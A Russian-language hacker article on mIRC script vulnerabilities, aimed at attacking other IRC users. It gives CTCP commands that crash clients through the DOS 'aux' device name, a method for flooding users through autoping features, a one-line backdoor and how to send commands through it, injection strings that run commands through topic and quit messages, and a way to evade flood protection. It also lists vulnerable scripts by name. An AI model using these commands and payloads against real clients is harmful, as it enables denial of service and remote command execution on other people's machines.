Обощающая статья на тему уязвимостей mIRC-скриптов

В этой статье я попытаюсь разобрать часто встречающиеся уязвимости mIRC-скриптов, ибо эта проблема становится всё более актуальной с каждым днём. Статья предпологает, что читатель знает, что такое mIRC, mIRC-скрипты (хотя бы азы) и вообще IRC. Начну с самого простого.

I. DOS Device bug

Нужно сказать, что появление на свет con\con'a не слабо ударило по забугорной части IRC (по нам не сильно, т.к. в то время новые баги доходили до нас "с некоторым" опозданием). Одна лишь команда "/ctcp #lamez sound con\con" уносила всех пользователей win9x с канала #lamez. В Win98SE и ME проблема была решена, но, как оказалось, не до конца. Программеры из MS избавили нас от синего экрана, но запретили создавать файлы с названиями совпадающими с именами устройств в DOS (prn, lpt, con, aux). Так вот, многие (почти все) разработчики программного обеспечения не предусматривают эту особенность в своих тварениях, точнее думают, что на их продуктах она никак не может сказатся. Автор мирка (Khaled Mardam-Bey) не исключение. Любое обращение к файлу с названием\расширением AUX (на все остальные mIRC не реагирует), приводит:
1) в 9x\Me к поеданию всех системных ресурсов мирком. Причём, если всётаки удаётся убить процесс, в дальнейшей работе Windows'a наблюдается большое кол-во глюков (значки меняеются, появляются чёрные полоски и тд). В общем, советую сразу жать reboot.
2) XP\2k не дают сожрать все ресурсы, но сам клиент неминуемо виснет.
Уязвимые команды:
/load
/loadbuf
/write
/play
/writeini
/remini
/splay
Уязвимые функции:
$read()
$readn()
$readini()
$crc()
$file()
$ini()
$lines()
$mklogfn()
$sfile()
$shortfn()
Прошу прощения, если какие-то упустил.
Ну а теперь поговорим о том, как можно поюзать баг удалённо (cразу оговорюсь, что "голый мирк" никак не отреагирует на ctcp-запрос "sound aux"). Большинство разработчиков более ли менее функциональных mIRC-скриптов, пытаются поставить свои обработчики на ВСЕ события, которые вообще могут произойти (даже отлавливают raw и error). Я абсолютно ничего не имею против, но как раз это их и подводит. Вот пример обработки sound-реквеста одинм популярным немецким скриптом (важные строчки коментирую):
ctcp *:*:*:{
if (($os < 100) && ((*con?con* iswm $2-) || (*nul?nul* iswm $2-))) {
;## Проверка на con\con и nul\nul
echo $evcol(ctcp) -ati2 $cl(kick) $gtd(Warning) $sd($mnick($chan)) attempted to play $2 $+ , process halted
halt
}
if (($1 == sound) || ($1 == mp3)) && ($exists($+($wavedir,$2))) { splay $2 }
;## Если запрашивается звук и требуемый файл существует в $wavdir, запускаем его.
}
;## NoName Script v.3.5 :: www.nnscript.de
Функция $exists() ошибочно считает, что файл aux существует и возвращает $true (этот баг уже был описан нашей командой), что нам как раз нужно. Команды:
/ctcp sound aux.wav
/ctcp mp3 aux.wav
отправят любого пользователя данного клиента в кому. Подобная проблема присутствует в каждом втором мирк-скрипте.

II. "Autoping" bug

Почти все новые скрипты имеют функцию "Remote lag check". Работает она очень просто. Вы говорите одно из ключевых слов (обычно ping, !ping, .ping, ping me и т.п.), удалённый клиент пингует вас и посылает вам notice\privmsg с вашим же ответом. Вот пример из Boss Script 2002:
#autopinger on
on 1:text:*ping*:#:/ctcp $nick ping
on 1:ctcpreply:ping*:{
set %pt 0
%pt = $ctime - $2
notice $nick Your Ping Reply from. $server .is : .( $+ %pt $+ ). Second(s) %ver
halt
}
#autopinger end
Посмотрите, мы одним словом заставляем скрипт послать ctcp запрос, а потом notice. И самое интересное, что обычно (читай всегда) никаких ограничений на кол-во лаг-чеков не ставят. Это открывает перед нами возможность зафлудить счастливого обладателя уязвимого скрипта просто послав ему кучу мессаг, содержащих слово "ping". Но и тут не без подводных камней. По идее, нам помимо мессаджа с ключевым словом, придётся посылать ответ на "ctcp ping", то есть мы сами рескуем быть зафлужеными. Поэтому советую "работать" с кем-нибудь на пару.
Точное количество мессаг для зафлуживания назвать не могу, т.к. это зависит от IRC-сервера, а точнее от его флуд-лимитов. Лично на моём IRCplus'e при дефолтовой конфигурации понадобилось ~11 мессаг.

III. backdoor

Да, да, далее пойдёт речь не о баге, а о бэкдоре, который получил ооочень широкое распространение в первую очередь из-за своего маленького размера. Он занимает не 10kb, не 1kb, не 500b. Он занимает 1 (!!!) строчку размером 14 байт:
ctcp *:*:?:$1-
И вот эта вот строчечка даёт полный контроль над компьютером, при условии хорошего знания скриптинга конечно. Как же она работает? Гениально просто - при получении клиентом ctcp-реквеста, всё его содержимое отправляется mirc-интерпритатору. А если говорить по русски:
/ctcp <nick> <command>
У nick'a на машине выполнится command.
Существует несколько модификаций бэкдора. Так что, помимо прямой отправки комманд, стоит попробывать:
/ctcp <nick> cmd <cmd>
/ctcp <nick> script <cmd>
Иных не встречал, но это не значит, что их нет.

IV. command execution

Баг встречается в скриптах, которые каким-то боком обрабатывают посланные удалённым пользователем данные. Наболее распространённые уязвимые функции: guestbook и pager. Я, пожалуй, разберу случай посложнее.
Всем известен самый распространённый и мною уважаемый русский мирк-скрипт NeoRa TrioN. Но не все знают, что несколько месяцев назад в нём была найдена подобная проблема (подробно на ней останавливаться не буду, кому интересно лезте сюда). Скрипт сохранял все топики и quit-сообщения в отдельный файл. И делал это весьма каряво. При попытке сохранить данные вида:
[some_text] } [cmd]
[some_text] | [cmd]
На удалённой машине выполнялась "cmd".
Что касается гостевых книг, пэйджеров и всех остальных примочек, эксплойтирование такое же.

V. aux bug #2

Очень интересная уязвимость, о которой, кстати, мало кто знает. Разберём скрипт Polaris IRC. В него встроен свой собственный скриптовый логгер (видать дефолтового mirc'овскоого создателям было мало..). Он записывает все приваты и dcc-чаты в отдельный файл. А проблема в том, что название файла генерится по правилу: $nick $+ .log. Так вот, если у нас будет ник aux, то мирк не сможет создать такой файл и заменит его на au_.log.
Сама уязвимость кроется в функции View log. При попытке скриптом показать лог чата с юзером AUX, он будет пытатся открыть файл aux.log, а не au_.log, и повиснет.
Подобные уязвимости встречаются также в гостевых книгах и пэйджерах, когда файлу с сообщениями юзера присваивается его ник.
Обобщая тему этой уязвимости, нужно сказать, что она встречается во всех скриптах, где удалённый юзер как-то может влиять на название и\или расширение какого-либо файла.

VI. Low flood protection

На данный момент защита от флуда присутствует даже в самых отстойных и глючных скриптах. Вот наиболее распространённая схема её работы:
после N1 ctcp-запросов за N2 сек. юзер кидается в игнор на N3 сек.
Так вот, иногда встречаются кадры, которые кидают юзеров в игнор по маске nick!*@*. То есть, чтобы обойти защиту от флуда, нам нужно всего лишь регулярно (после каждых 3-5 запросов) менять ник. Flood Clon'ов с такой примочкой я ещё не видел, а самому писать в лом. Если у тебя руки на месте, можешь попробывать.

Чтож, пожалуй это все уязвимости, которые я встречал в mIRC-скриптах..
PS. вот клиенты, в которых 100%-нтно присутствуют какие-либо из описанных выше уязвимостей (метка "#" означает, что скрипт имеет широкое распространение):
Neo-Ra Trion v.10 #
MurderScript 2001
Polaris IRC v2.04 #
eXtreme #
WarSatan
Hкеvксly$ўrоюt 2002 script #
Boss script v.2002
SiN4pSi77 ScRipT 6.2
[LLMirc PRoі] v.3.5a #
Stalker Script 8.0 Final
7th Sphere 3.0 #
NiTrO ScRiPt V2 2002 (Beta) #
gAnGstERs FlooDinG ScripT
NoName Script v.3.* #
coolpakiz Script v1.0
IRCopen backdoor scan v1.27x
Xspy Game v.2.0.beta by Bl00r
Hackz script
Скачать их можно с сайта http://www.xcalibre.com/

Автор: D4rkGr3y